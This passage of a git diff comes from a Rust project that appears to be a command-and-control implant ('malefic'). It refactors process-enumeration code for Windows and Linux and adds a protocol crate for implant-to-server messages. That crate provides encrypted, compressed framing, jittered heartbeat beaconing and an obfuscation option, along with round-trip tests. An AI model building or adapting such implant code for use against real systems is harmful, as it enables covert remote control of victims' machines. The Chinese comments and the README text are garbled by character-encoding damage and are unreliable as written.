get_process_owner(&uid)?; + let arch = get_process_architecture(pid).unwrap_or_else(|_| "unknown".to_string()); + let owner = get_process_owner(&uid).unwrap_or_else(|_| uid.clone()); Ok(Process { name, @@ -102,18 +86,15 @@ pub fn get_process_info(pid: u32) -> anyhow::Result { } fn get_process_architecture(pid: u32) -> anyhow::Result { - // 读å–è¿›ç¨‹çš„å¯æ‰§è¡Œæ–‡ä»¶ let exe_path = format!("/proc/{}/exe", pid); let mut file = fs::File::open(exe_path)?; let mut buffer = [0u8; 5]; file.read_exact(&mut buffer)?; - // 检查ELF头部 if buffer[0..4] != [0x7f, 0x45, 0x4c, 0x46] { return Ok("unknown".to_string()); } - // 检查是32ä½è¿˜æ˜¯64ä½ match buffer[4] { 1 => Ok("x86".to_string()), 2 => Ok("x64".to_string()), diff --git a/malefic-helper/src/win/process/mod.rs b/malefic-crates/process/src/win/mod.rs similarity index 81% rename from malefic-helper/src/win/process/mod.rs rename to malefic-crates/process/src/win/mod.rs index 42cd6e2..b2fc39f 100644 --- a/malefic-helper/src/win/process/mod.rs +++ b/malefic-crates/process/src/win/mod.rs @@ -1,5 +1,5 @@ -use crate::common::process::Process; -use crate::debug; +use crate::Process; +use malefic_common::debug; use std::collections::HashMap; use std::ffi::OsString; use std::mem::MaybeUninit; @@ -29,7 +29,6 @@ pub fn get_processes() -> anyhow::Result> { let mut processes = HashMap::new(); unsafe { let h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)?; - let mut pe32 = PROCESSENTRY32W::default(); pe32.dwSize = std::mem::size_of::() as u32; @@ -37,7 +36,6 @@ pub fn get_processes() -> anyhow::Result> { loop { let pid = pe32.th32ProcessID; let ppid = pe32.th32ParentProcessID; - let name = String::from_utf16_lossy( &pe32.szExeFile[..pe32 .szExeFile @@ -47,12 +45,14 @@ pub fn get_processes() -> anyhow::Result> { ); let (path, arch, owner, args) = if let Some(handle) = get_process_handle(pid) { - ( + let result = ( get_process_path(handle), get_process_architecture(handle).unwrap_or_default(), get_process_owner(handle).unwrap_or_default(), get_process_args(handle), - ) + ); + let _ = CloseHandle(handle); + result } else { (String::new(), String::new(), String::new(), String::new()) }; @@ -75,10 +75,8 @@ pub fn get_processes() -> anyhow::Result> { } } } - let _ = CloseHandle(h_snapshot); } - Ok(processes) } @@ -86,11 +84,7 @@ pub fn get_process_handle(pid: u32) -> Option { if pid == 0 { return None; } - - unsafe { - let handle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, pid).ok()?; - Some(handle) - } + unsafe { OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, pid).ok() } } pub fn get_process_path(handle: HANDLE) -> String { @@ -109,22 +103,16 @@ pub fn get_process_architecture(handle: HANDLE) -> anyhow::Result { unsafe { let mut system_info: SYSTEM_INFO = std::mem::zeroed(); GetNativeSystemInfo(&mut system_info); - let mut is_wow64: BOOL = BOOL(0); - - if IsWow64Process(handle, &mut is_wow64).is_ok() { - if is_wow64.as_bool() { - return Ok("x86".to_string()); - } + if IsWow64Process(handle, &mut is_wow64).is_ok() && is_wow64.as_bool() { + return Ok("x86".to_string()); } - let arch = system_info.Anonymous.Anonymous.wProcessorArchitecture; if arch == PROCESSOR_ARCHITECTURE_AMD64 { Ok("x64".to_string()) } else if arch == PROCESSOR_ARCHITECTURE_INTEL { Ok("x86".to_string()) } else { - Ok("Unknown".to_string()) } } @@ -136,7 +124,6 @@ pub fn get_process_owner(handle: HANDLE) -> anyhow::Result { if !OpenProcessToken(handle, TOKEN_QUERY, &mut token_handle).is_ok() { return Err(anyhow::anyhow!("Failed to open process token")); } - let mut token_info_len = 0u32; #[allow(unused_must_use)] { @@ -151,7 +138,6 @@ pub fn get_process_owner(handle: HANDLE) -> anyhow::Result { token_info_len, &mut token_info_len, )?; - let token_user = &*(token_info.as_ptr() as *const windows::Win32::Security::TOKEN_USER); let mut name_buf = vec![0u16; 256]; @@ -160,24 +146,19 @@ pub fn get_process_owner(handle: HANDLE) -> anyhow::Result { let mut domain_len = domain_buf.len() as u32; let mut sid_type = SID_NAME_USE::default(); - let name = PWSTR(name_buf.as_mut_ptr()); - let domain = PWSTR(domain_buf.as_mut_ptr()); - LookupAccountSidW( PCWSTR::null(), token_user.User.Sid, - name, + PWSTR(name_buf.as_mut_ptr()), &mut name_len, - domain, + PWSTR(domain_buf.as_mut_ptr()), &mut domain_len, &mut sid_type, )?; - let _ = CloseHandle(token_handle); let domain = String::from_utf16_lossy(&domain_buf[..domain_len as usize]); let name = String::from_utf16_lossy(&name_buf[..name_len as usize]); - Ok(format!("{}\\{}", domain, name)) } } @@ -186,50 +167,11 @@ pub fn get_current_pid() -> u32 { std::process::id() } -pub fn get_parent_pid() -> anyhow::Result { - unsafe { - let snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)?; - let mut process_entry = PROCESSENTRY32W::default(); - process_entry.dwSize = std::mem::size_of::() as u32; - - if Process32FirstW(snapshot, &mut process_entry).is_ok() { - let current_process_id = get_current_pid(); - - loop { - if process_entry.th32ProcessID == current_process_id { - let _ = CloseHandle(snapshot); - return Ok(process_entry.th32ParentProcessID); - } - - if !Process32NextW(snapshot, &mut process_entry).is_ok() { - break; - } - } - } - - let _ = CloseHandle(snapshot); - Err(anyhow::anyhow!("Parent process not found")) - } -} - -pub fn get_current_process_name() -> String { - if let Ok(path) = std::env::current_exe() { - path.file_name() - .unwrap_or_default() - .to_str() - .unwrap_or_default() - .to_string() - } else { - String::new() - } -} - unsafe fn ph_query_process_variable_size( process_handle: HANDLE, process_information_class: PROCESSINFOCLASS, ) -> Option> { let mut return_length = 0u32; - let _ = NtQueryInformationProcess( process_handle, process_information_class, @@ -237,8 +179,7 @@ unsafe fn ph_query_process_variable_size( 0, &mut return_length, ); - - // 分é…足够的空间æ¥å­˜å‚¨UNICODE_STRING结构 + let mut buffer = vec![0u8; return_length as usize]; if NtQueryInformationProcess( process_handle, @@ -253,23 +194,16 @@ unsafe fn ph_query_process_variable_size( return None; } - // è§£æžUNICODE_STRING结构 let unicode_str = &*(buffer.as_ptr() as *const UNICODE_STRING); - - // 计算实际的字符数(Length是字节数,UTF-16æ¯ä¸ªå­—符2字节) let str_len = unicode_str.Length as usize / 2; let mut result = vec![0u16; str_len]; - - // 从Buffer中å¤åˆ¶å®žé™…的字符串内容 if str_len > 0 { std::ptr::copy_nonoverlapping(unicode_str.Buffer.0, result.as_mut_ptr(), str_len); } - Some(result) } unsafe fn get_cmdline_from_buffer(buffer: PCWSTR) -> Vec { - // Get argc and argv from the command line let mut argc = MaybeUninit::::uninit(); let argv_p = CommandLineToArgvW(buffer, argc.as_mut_ptr()); if argv_p.is_null() { @@ -277,14 +211,11 @@ unsafe fn get_cmdline_from_buffer(buffer: PCWSTR) -> Vec { } let argc = argc.assume_init(); let argv: &[PWSTR] = std::slice::from_raw_parts(argv_p, argc as usize); - let mut res = Vec::new(); for arg in argv { res.push(OsString::from_wide(arg.as_wide())); } - let _err = LocalFree(HLOCAL(argv_p as _)); - res } @@ -294,7 +225,6 @@ fn get_process_args(handle: HANDLE) -> String { if buffer.is_empty() { return String::new(); } - let buffer = PCWSTR::from_raw(buffer.as_ptr()); let args = get_cmdline_from_buffer(buffer); if !args.is_empty() { @@ -316,8 +246,6 @@ pub fn get_process_info(pid: u32) -> anyhow::Result { unsafe { let handle = get_process_handle(pid).ok_or_else(|| anyhow::anyhow!("Failed to open process"))?; - - // 获å–进程åç§° let mut pe32 = PROCESSENTRY32W::default(); pe32.dwSize = std::mem::size_of::() as u32; let mut ppid = 0; @@ -341,11 +269,11 @@ pub fn get_process_info(pid: u32) -> anyhow::Result { } let _ = CloseHandle(h_snapshot); - // 获å–å…¶ä»–ä¿¡æ¯ let path = get_process_path(handle); let arch = get_process_architecture(handle).unwrap_or_default(); let owner = get_process_owner(handle).unwrap_or_default(); let args = get_process_args(handle); + let _ = CloseHandle(handle); Ok(Process { name, diff --git a/malefic-crates/proto/Cargo.toml b/malefic-crates/proto/Cargo.toml new file mode 100644 index 0000000..3bf77a1 --- /dev/null +++ b/malefic-crates/proto/Cargo.toml @@ -0,0 +1,29 @@ +[package] +name = "malefic-proto" +version = "0.1.0" +edition = "2021" + +[features] +default = ["crypto_aes"] + +crypto = [] +crypto_xor = ["crypto", "malefic-crypto/crypto_xor"] +crypto_aes = ["crypto", "malefic-crypto/crypto_aes"] +crypto_chacha20 = ["crypto", "malefic-crypto/crypto_chacha20"] + +secure = ["malefic-crypto/secure"] +enable_serde = ["serde"] + +[dependencies] +prost = { workspace = true } +serde = { workspace = true, optional = true } +thiserror = { workspace = true } +anyhow = { workspace = true } +cfg-if = { workspace = true } +malefic-crypto = { workspace = true, default-features = false } +malefic-common = { workspace = true } +malefic-gateway = { workspace = true } +nanorand = { workspace = true } + +[build-dependencies] +prost-build = { workspace = true } diff --git a/malefic-crates/proto/README.md b/malefic-crates/proto/README.md new file mode 100644 index 0000000..3c2692d --- /dev/null +++ b/malefic-crates/proto/README.md @@ -0,0 +1,93 @@ +# malefic-proto + +Protobuf å议定义与二进制传输åºåˆ—化层,负责消æ¯çš„ç¼–ç ã€è§£ç ã€å°åŒ…与解包。 + +## 功能简介 + +- 基于 `prost` 从 `.proto` æ–‡ä»¶è‡ªåŠ¨ç”Ÿæˆ Rust 类型(`implantpb`ã€`modulepb`) +- æä¾› `SpiteData` 传输帧结构:TLV æ ¼å¼å°åŒ…(起始标记 / Session ID / 长度 / æ•°æ® / ç»“æŸæ ‡è®°ï¼‰ +- 内置数æ®åŽ‹ç¼©ï¼ˆé€šè¿‡ `malefic-crypto` çš„ compress 模å—) +- å¯é€‰åŠ å¯†æ”¯æŒï¼šXORã€AESã€ChaCha20 å¯¹ç§°åŠ å¯†ï¼Œä»¥åŠ Age(X25519)éžå¯¹ç§°åР坆 +- æä¾›å¿ƒè·³é—´éš”æŠ–动计算ã€ä¼šè¯ ID 生æˆç­‰å®žç”¨å‡½æ•° +- 统一的错误类型 `ParserError`,覆盖å议解æžä¸­çš„å„类异常 + +## Features + +| Feature | 说明 | +|---------|------| +| `crypto` | å¯ç”¨åŠ å¯†åŸºç¡€ä¾èµ– | +| `crypto_xor` | XOR 对称加密 | +| `crypto_aes` | AES 对称加密(默认å¯ç”¨ï¼‰ | +| `crypto_chacha20` | ChaCha20 对称加密 | +| `secure` | å¯ç”¨ Age (X25519) éžå¯¹ç§°åŠ å¯†ï¼Œç”¨äºŽç«¯åˆ°ç«¯å®‰å…¨é€šä¿¡ | +| `enable_serde` | 为生æˆçš„ Protobuf 类型派生 `serde::Deserialize` | + +## ä¼ è¾“å¸§æ ¼å¼ + +```text ++-------+------------+--------+------+-------+ +| Start | Session ID | Length | Data | End | +| 0xd1 | 4 bytes | u32 LE | ... | 0xd2 | ++-------+------------+--------+------+-------+ +``` + +Header 固定长度为 9 字节(1 + 4 + 4)。 + +## 基本用法 + +```rust +use malefic_proto::*; + +// åˆ›å»ºä¸€æ¡ Spite æ¶ˆæ¯ +let spite = new_spite( + 1, + "my_task".to_string(), + Body::Empty(implantpb::Empty {}), +); + +// åºåˆ—化并å°åŒ… +let session_id = get_sid(); +let spites = Spites { spites: vec![spite] }; +let frame = marshal(session_id, spites, None).unwrap(); + +// æ‰“åŒ…ä¸ºäºŒè¿›åˆ¶ä¼ è¾“æ•°æ® +let wire_data = frame.pack(); + +// æŽ¥æ”¶ç«¯ï¼šè§£æž header +let mut received = parser_header(&wire_data[..HEADER_LEN]).unwrap(); +// å¡«å…… body 并解包 +received.set_data(wire_data[HEADER_LEN..].to_vec()).unwrap(); +let result = received.parse(None).unwrap(); +``` + +### 使用 Age 加密 + +```rust +use malefic_proto::*; + +// 生æˆå¯†é’¥å¯¹ï¼ˆéœ€å¯ç”¨ secure feature) +let (private_key, public_key) = generate_age_keypair(); + +// 加密å°åŒ… +let frame = marshal(session_id, spites, Some(&public_key)).unwrap(); + +// 解密解包 +let result = frame.parse(Some(&private_key)).unwrap(); +``` + +## 核心 API + +| 函数 | 说明 | +|------|------| +| `marshal` / `marshal_one` | å°† `Spites`/`Spite` ç¼–ç ã€åŽ‹ç¼©ã€åР坆åŽå°è£…为 `SpiteData` | +| `encode` / `decode` | Protobuf ç¼–ç ä¸Žè§£ç  | +| `parser_header` | 从字节æµè§£æžä¼ è¾“帧头部 | +| `new_spite` / `new_empty_spite` / `new_error_spite` | 快速构建 `Spite` æ¶ˆæ¯ | +| `get_sid` | 生æˆéšæœº 4 字节 Session ID | +| `new_heartbeat` | 计算带抖动的心跳间隔(毫秒) | + +## å‚考链接 + +- [prost - Protobuf for Rust](https://github.com/tokio-rs/prost) +- [Protocol Buffers](https://protobuf.dev/) +- [age encryption](https://github.com/FiloSottile/age) diff --git a/malefic-crates/proto/build.rs b/malefic-crates/proto/build.rs new file mode 100644 index 0000000..0da79a8 --- /dev/null +++ b/malefic-crates/proto/build.rs @@ -0,0 +1,83 @@ +const PROTO_GENE_PATH: &str = "src/proto/"; +const PROTO_IMPLANT_FILE: &str = "../../proto/implant/implantpb/implant.proto"; +const PROTO_MODULE_FILE: &str = "../../proto/implant/implantpb/module.proto"; + +fn main() { + let mut prost_config = prost_build::Config::new(); + #[cfg(feature = "enable_serde")] + { + prost_config.type_attribute(".", "#[derive(serde::Deserialize)]"); + prost_config.field_attribute(".modulepb", "#[serde(default)]"); + } + + #[cfg(feature = "inplace_obf")] + { + prost_config.type_attribute(".", "#[derive(::malefic_gateway::Obfuscate)]"); + } + + #[cfg(all(not(debug_assertions), not(feature = "enable_serde")))] + { + prost_config.skip_debug(["."]); + prost_config.skip_field_names(["."]); + } + + prost_config.out_dir(PROTO_GENE_PATH.to_string()); + match prost_config.compile_protos( + &[ + PROTO_IMPLANT_FILE.to_string(), + PROTO_MODULE_FILE.to_string(), + ], + &["../../proto/"], + ) { + Ok(_) => { + println!("Proto compilation successful!"); + // Post-process: remove #[serde(default)] from enum variants + // prost's field_attribute applies to enum variants too, which serde rejects + fix_serde_enum_variants(PROTO_GENE_PATH); + } + Err(e) => { + eprintln!("Proto compilation error: {}", e); + panic!("Failed to compile protos: {}", e); + } + } +} + +/// Remove `#[serde(default)]` from enum variant positions in generated proto files. +/// +/// prost's `field_attribute` applies to both struct fields and enum variants, +/// but `#[serde(default)]` is not valid on enum variants. +fn fix_serde_enum_variants(dir: &str) { + use std::fs; + for entry in fs::read_dir(dir).expect("failed to read proto output dir") { + let entry = entry.expect("failed to read dir entry"); + let path = entry.path(); + if path.extension().map_or(true, |ext| ext != "rs") { + continue; + } + let content = fs::read_to_string(&path).expect("failed to read generated file"); + let mut lines: Vec<&str> = content.lines().collect(); + let mut to_remove = Vec::new(); + + // Find enum blocks and mark #[serde(default)] lines within them + let mut in_enum = false; + for (i, line) in lines.iter().enumerate() { + let trimmed = line.trim(); + if trimmed.starts_with("pub enum ") { + in_enum = true; + } else if in_enum && trimmed == "}" { + in_enum = false; + } else if in_enum && trimmed == "#[serde(default)]" { + to_remove.push(i); + } + } + + if !to_remove.is_empty() { + for &i in to_remove.iter().rev() { + lines.remove(i); + } + let fixed = lines.join("\n") + "\n"; + fs::write(&path, fixed).expect("failed to write fixed file"); + println!("Fixed serde enum variants in {:?}", path); + } + } +} diff --git a/malefic-crates/proto/src/lib.rs b/malefic-crates/proto/src/lib.rs new file mode 100644 index 0000000..3ec8a7f --- /dev/null +++ b/malefic-crates/proto/src/lib.rs @@ -0,0 +1,585 @@ +pub mod proto; + +use anyhow::anyhow; +use malefic_gateway::ObfDebug; +use prost::Message; +use std::mem::size_of; +use thiserror::Error; + +pub use proto::implantpb; +pub use proto::implantpb::spite::Body; +pub use proto::implantpb::{Spite, Spites}; +pub use proto::modulepb; + +pub fn get_message_len(message: &M) -> usize { + message.encoded_len() +} + +pub fn new_spite(task_id: u32, name: String, body: Body) -> Spite { + Spite { + task_id, + r#async: true, + timeout: 0, + name, + error: 0, + status: Some(implantpb::Status { + task_id, + status: 0, + error: "".to_string(), + }), + body: Some(body), + } +} + +pub fn new_empty_spite(task_id: u32, name: String) -> Spite { + Spite { + task_id, + r#async: true, + timeout: 0, + name, + error: 0, + status: Some(implantpb::Status { + task_id, + status: 0, + error: "".to_string(), + }), + body: Some(Body::Empty(implantpb::Empty::default())), + } +} + +pub fn new_error_spite(task_id: u32, name: String, error: u32) -> Spite { + Spite { + task_id, + r#async: true, + timeout: 0, + name, + error, + status: Some(implantpb::Status { + task_id, + status: 1, + error: "".to_string(), + }), + body: None, + } +} + +pub fn get_sid() -> [u8; 4] { + if cfg!(debug_assertions) { + [1, 2, 3, 4] + } else { + let mut temp_id = [0u8; 4]; + malefic_common::random::fill(&mut temp_id); + temp_id + } +} + +pub fn new_heartbeat(interval: u64, jitter: f64) -> u64 { + let base_time_ms = (interval * 1000) as f64; + let jitter_factor = if jitter != 0.0 { + let jitter_range = (jitter * 2000.0) as u64 + 1; + 1.0 + (malefic_common::random::range_u64(0, jitter_range) as f64 / 1000.0 - jitter) + } else { + 1.0 + }; + (base_time_ms * jitter_factor) as u64 +} + +static TRANSPORT_START: u8 = 0xd1; +static TRANSPORT_END: u8 = 0xd2; +pub static HEADER_LEN: usize = 9; + +#[derive(Debug, Error)] +pub enum ParserError { + #[error(transparent)] + Panic(#[from] anyhow::Error), + #[error("No start marker found in data")] + NoStart, + #[error("No end marker found in data")] + NoEnd, + #[error("Data length is insufficient or incorrect")] + LengthError, + #[error("I/O Error: {0}")] + IOError(#[from] std::io::Error), + #[error("Data body is missing")] + MissBody, + #[error("Encryption/decryption failed: {0}")] + CryptorError(String), +} + +#[derive(ObfDebug)] +pub struct SpiteData { + pub start: u8, + pub session_id: [u8; 4], + pub length: u32, + pub data: Vec, + pub end: u8, +} + +impl SpiteData { + pub fn default() -> Self { + SpiteData { + start: TRANSPORT_START, + session_id: [0u8; 4], + length: 0, + data: Vec::new(), + end: TRANSPORT_END, + } + } + + pub fn new( + session_id: [u8; 4], + data: &[u8], + _recipient_public_key: Option<&str>, + ) -> Result { + let compressed = malefic_crypto::compress::compress(data).unwrap_or_else(|_| data.to_vec()); + + let final_data = { + #[cfg(feature = "secure")] + { + if let Some(public_key) = _recipient_public_key { + if !public_key.is_empty() { + use malefic_crypto::crypto::age::age_encrypt; + age_encrypt(&compressed, public_key).map_err(ParserError::CryptorError)? + } else { + compressed + } + } else { + compressed + } + } + #[cfg(not(feature = "secure"))] + { + compressed + } + }; + let length = final_data.len() as u32; + Ok(SpiteData { + start: TRANSPORT_START, + session_id, + length, + data: final_data, + end: TRANSPORT_END, + }) + } + + pub fn header(&self) -> Vec { + let mut buf = Vec::new(); + buf.push(self.start); + buf.extend_from_slice(&self.session_id); + buf.extend_from_slice(&self.length.to_le_bytes()); + buf + } + + pub fn body(&self) -> Vec { + let mut buf = Vec::new(); + buf.extend_from_slice(&self.data); + buf.push(self.end); + buf + } + + pub fn pack(&self) -> Vec { + let mut buf = Vec::new(); + buf.push(self.start); + buf.extend_from_slice(&self.session_id); + buf.extend_from_slice(&self.length.to_le_bytes()); + buf.extend_from_slice(&self.data); + buf.push(self.end); + buf + } + + pub fn unpack(&mut self, buf: &[u8]) -> Result<(), ParserError> { + if buf.len() < size_of::() + 4 + 2 { + return Err(ParserError::LengthError); + } + if buf[0] != TRANSPORT_START { + return Err(ParserError::NoStart); + } + if buf[buf.len() - 1] != TRANSPORT_END { + return Err(ParserError::NoEnd); + } + let mut pos = 1; + self.session_id = [buf[pos], buf[pos + 1], buf[pos + 2], buf[pos + 3]]; + pos += 4; + self.length = u32::from_le_bytes([buf[pos], buf[pos + 1], buf[pos + 2], buf[pos + 3]]); + pos += size_of::(); + self.data = buf[pos..pos + self.length as usize].to_vec(); + Ok(()) + } + + pub fn get_data(&self) -> &Vec { + &self.data + } + + pub fn set_data(&mut self, data: Vec) -> Result { + if let Some(&last_byte) = data.last() { + if last_byte != TRANSPORT_END { + Err(ParserError::NoEnd) + } else { + self.data = data[..data.len() - 1].to_vec(); + Ok(true) + } + } else { + Err(ParserError::LengthError) + } + } + + pub fn parse(&self, _private_key: Option<&str>) -> Result { + let spite_data = self.get_data(); + if spite_data.is_empty() { + return Err(ParserError::MissBody); + } + let decrypted_data = { + #[cfg(feature = "secure")] + { + if let Some(private_key) = _private_key { + if !private_key.is_empty() { + use malefic_crypto::crypto::age::age_decrypt; + age_decrypt(spite_data, private_key).map_err(ParserError::CryptorError)? + } else { + spite_data.to_vec() + } + } else { + spite_data.to_vec() + } + } + #[cfg(not(feature = "secure"))] + { + spite_data.to_vec() + } + }; + let decompressed = malefic_crypto::compress::decompress(&decrypted_data)?; + match Spites::decode(&decompressed[..]) { + Ok(spites) => Ok(spites), + Err(err) => Err(anyhow!("Failed to decode: {:?}", err).into()), + } + } +} + +pub fn encode(spites: Spites) -> Result, ParserError> { + let mut buf = Vec::new(); + spites.encode(&mut buf).map_err(|e| anyhow!(e))?; + Ok(buf) +} + +pub fn decode(data: Vec) -> Result { + let spites = Spites::decode(&data[..]).map_err(|e| anyhow!(e))?; + Ok(spites) +} + +pub fn marshal( + id: [u8; 4], + spites: Spites, + recipient_public_key: Option<&str>, +) -> Result { + let mut buf = Vec::new(); + spites.encode(&mut buf).map_err(|e| anyhow!(e))?; + SpiteData::new(id, &buf, recipient_public_key) +} + +pub fn marshal_one( + id: [u8; 4], + spite: Spite, + recipient_public_key: Option<&str>, +) -> Result { + marshal( + id, + Spites { + spites: vec![spite], + }, + recipient_public_key, + ) +} + +pub fn parser_header(buf: &[u8]) -> Result { + if buf.len() < 9 { + return Err(ParserError::LengthError); + } + if buf[0] != TRANSPORT_START { + return Err(ParserError::NoStart); + } + let start = buf[0]; + let session_id = [buf[1], buf[2], buf[3], buf[4]]; + let length = u32::from_le_bytes([buf[5], buf[6], buf[7], buf[8]]); + Ok(SpiteData { + start, + session_id, + length, + data: Vec::new(), + end: TRANSPORT_END, + }) +} + +#[cfg(feature = "secure")] +pub fn generate_age_keypair() -> (String, String) { + malefic_crypto::crypto::age::generate_age_keypair() +} + +#[cfg(all(test, feature = "secure"))] +mod tests { + use super::*; + use malefic_crypto::crypto::age::age_decrypt; + + fn make_test_spites() -> Spites { + let spite = new_spite( + 42, + "test_module".to_string(), + Body::Empty(implantpb::Empty::default()), + ); + Spites { + spites: vec![spite], + } + } + + /// marshal with age encryption -> parse with age decryption round-trip + #[test] + fn test_marshal_parse_with_age_encryption() { + let (server_priv, server_pub) = generate_age_keypair(); + let session_id = [0x01, 0x02, 0x03, 0x04]; + + let encrypted_sd = + marshal(session_id, make_test_spites(), Some(&server_pub)).expect("encrypted marshal"); + let plain_sd = marshal(session_id, make_test_spites(), None).expect("plain marshal"); + + // Encrypted data must differ from unencrypted + assert_ne!( + encrypted_sd.data, plain_sd.data, + "BUG: encrypted data identical to unencrypted" + ); + assert!( + encrypted_sd.data.len() > plain_sd.data.len(), + "BUG: encrypted data not larger than plain" + ); + + // Encrypted data must not be directly decompressible + assert!( + malefic_crypto::compress::decompress(&encrypted_sd.data).is_err(), + "BUG: encrypted data directly decompressible" + ); + + // Direct age_decrypt must work (proves data is real age ciphertext) + let direct_dec = + age_decrypt(&encrypted_sd.data, &server_priv).expect("direct age_decrypt failed"); + assert!(!direct_dec.is_empty()); + + // Parse with correct key + let recovered = encrypted_sd + .parse(Some(&server_priv)) + .expect("parse failed"); + assert_eq!(recovered.spites.len(), 1); + assert_eq!(recovered.spites[0].task_id, 42); + assert_eq!(recovered.spites[0].name, "test_module"); + } + + /// Full key exchange via marshal/parse + #[test] + fn test_simulated_key_exchange_e2e() { + let session_id = [0xAA, 0xBB, 0xCC, 0xDD]; + let (server_priv, server_pub) = generate_age_keypair(); + let (implant_priv, implant_pub) = generate_age_keypair(); + + // Implant -> Server + let sd = marshal(session_id, make_test_spites(), Some(&server_pub)).unwrap(); + age_decrypt(&sd.data, &server_priv).expect("i2s: not valid age ciphertext"); + let r = sd.parse(Some(&server_priv)).unwrap(); + assert_eq!(r.spites[0].task_id, 42); + + // Server -> Implant + let server_msg = Spites { + spites: vec![new_spite( + 99, + "server_task".to_string(), + Body::Empty(implantpb::Empty::default()), + )], + }; + let sd = marshal(session_id, server_msg, Some(&implant_pub)).unwrap(); + age_decrypt(&sd.data, &implant_priv).expect("s2i: not valid age ciphertext"); + let r = sd.parse(Some(&implant_priv)).unwrap(); + assert_eq!(r.spites[0].task_id, 99); + + // Key rotation + let (new_server_priv, new_server_pub) = generate_age_keypair(); + let (new_implant_priv, new_implant_pub) = generate_age_keypair(); + + let post_msg = Spites { + spites: vec![new_spite( + 200, + "post_rot".to_string(), + Body::Empty(implantpb::Empty::default()), + )], + }; + let sd = marshal(session_id, post_msg, Some(&new_server_pub)).unwrap(); + // Old key fails + assert!( + age_decrypt(&sd.data, &server_priv).is_err(), + "old key must fail" + ); + // New key works + assert!(age_decrypt(&sd.data, &new_server_priv).is_ok()); + assert_eq!( + sd.parse(Some(&new_server_priv)).unwrap().spites[0].task_id, + 200 + ); + + let post_msg2 = Spites { + spites: vec![new_spite( + 201, + "new_task".to_string(), + Body::Empty(implantpb::Empty::default()), + )], + }; + let sd = marshal(session_id, post_msg2, Some(&new_implant_pub)).unwrap(); + assert!( + age_decrypt(&sd.data, &implant_priv).is_err(), + "old implant key must fail" + ); + assert_eq!( + sd.parse(Some(&new_implant_priv)).unwrap().spites[0].task_id, + 201 + ); + } + + /// Wrong key direction must fail parse + #[test] + fn test_encrypt_decrypt_key_separation() { + let (server_priv, server_pub) = generate_age_keypair(); + let sd = marshal([1, 2, 3, 4], make_test_spites(), Some(&server_pub)).unwrap(); + + // Encrypted data must not decompress directly + assert!(malefic_crypto::compress::decompress(&sd.data).is_err()); + + // Public key as decrypt key -> must fail + assert!( + sd.parse(Some(&server_pub)).is_err(), + "public key must not decrypt" + ); + + // Correct key + assert_eq!(sd.parse(Some(&server_priv)).unwrap().spites[0].task_id, 42); + } + + /// No-key marshal/parse (plaintext fallback) + #[test] + fn test_marshal_parse_without_keys() { + let sd = marshal([5, 6, 7, 8], make_test_spites(), None).unwrap(); + assert!( + malefic_crypto::compress::decompress(&sd.data).is_ok(), + "no-key data should be directly decompressible" + ); + assert_eq!(sd.parse(None).unwrap().spites[0].task_id, 42); + } + + // ----------------------------------------------------------------------- + // Security hardening tests: plaintext fallback removed + // ----------------------------------------------------------------------- + + /// Invalid age public key must produce CryptorError, not silently fall back + #[test] + fn test_age_encrypt_failure_returns_error() { + let session_id = [0xAA, 0xBB, 0xCC, 0xDD]; + let data = b"sensitive payload"; + + let result = SpiteData::new(session_id, data, Some("invalid_key_not_age")); + assert!( + result.is_err(), + "encrypting with invalid key should fail, not fall back to plaintext" + ); + match result { + Err(ParserError::CryptorError(_)) => {} // expected + Err(other) => panic!("expected CryptorError, got: {:?}", other), + Ok(_) => panic!("expected error, got Ok"), + } + } + + /// Decrypting with the wrong private key must produce an error + #[test] + fn test_age_decrypt_failure_returns_error() { + let (_, server_pub_a) = generate_age_keypair(); + let (_, _server_pub_b) = generate_age_keypair(); + // Generate a completely different keypair for decryption + let (wrong_priv, _) = generate_age_keypair(); + + let session_id = [0x11, 0x22, 0x33, 0x44]; + let sd = marshal(session_id, make_test_spites(), Some(&server_pub_a)) + .expect("marshal with valid key should succeed"); + + let result = sd.parse(Some(&wrong_priv)); + assert!( + result.is_err(), + "decrypting with wrong private key should fail, not fall back to plaintext" + ); + } + + /// None key -> Ok (no encryption, just compression) + /// Empty string key -> Ok (skip encryption) + #[test] + fn test_no_key_still_works() { + let session_id = [0x55, 0x66, 0x77, 0x88]; + let data = b"hello world"; + + // None key: no encryption, should succeed + let result_none = SpiteData::new(session_id, data, None); + assert!( + result_none.is_ok(), + "None key should succeed (no encryption): {:?}", + result_none.err() + ); + + // Empty string key: skip encryption, should succeed + let result_empty = SpiteData::new(session_id, data, Some("")); + assert!( + result_empty.is_ok(), + "empty string key should succeed (skip encryption): {:?}", + result_empty.err() + ); + } + + /// Multiple spites with encryption + #[test] + fn test_marshal_parse_multiple_spites() { + let (server_priv, server_pub) = generate_age_keypair(); + let spites = Spites { + spites: vec![ + new_spite(1, "a".to_string(), Body::Empty(implantpb::Empty::default())), + new_spite(2, "b".to_string(), Body::Empty(implantpb::Empty::default())), + new_spite(3, "c".to_string(), Body::Empty(implantpb::Empty::default())), + ], + }; + let sd = marshal([0x10, 0x20, 0x30, 0x40], spites, Some(&server_pub)).unwrap(); + age_decrypt(&sd.data, &server_priv).expect("multi-spite must be valid age ciphertext"); + + let r = sd.parse(Some(&server_priv)).unwrap(); + assert_eq!(r.spites.len(), 3); + assert_eq!(r.spites[0].task_id, 1); + assert_eq!(r.spites[1].task_id, 2); + assert_eq!(r.spites[2].task_id, 3); + } + + /// TLV pack/unpack round-trip with encryption + #[test] + fn test_pack_unpack_parse_roundtrip() { + let (server_priv, server_pub) = generate_age_keypair(); + let session_id = [0xDE, 0xAD, 0xBE, 0xEF]; + + let sd = marshal(session_id, make_test_spites(), Some(&server_pub)).unwrap(); + assert!(age_decrypt(&sd.data, &server_priv).is_ok()); + + let wire = sd.pack(); + + // Verify TLV wire format + assert_eq!(wire[0], 0xd1, "start marker"); + assert_eq!(*wire.last().unwrap(), 0xd2, "end marker"); + assert_eq!(&wire[1..5], &session_id, "session_id"); + + // Unpack + let mut received = SpiteData::default(); + received.unpack(&wire).expect("unpack"); + assert_eq!(received.session_id, session_id); + assert_eq!(received.data, sd.data); + + // Parse + let r = received + .parse(Some(&server_priv)) + .expect("parse after unpack"); + assert_eq!(r.spites[0].task_id, 42); + } +} diff --git a/malefic-proto/src/proto/mod.rs b/malefic-crates/proto/src/proto/mod.rs similarity index 51% rename from malefic-proto/src/proto/mod.rs rename to 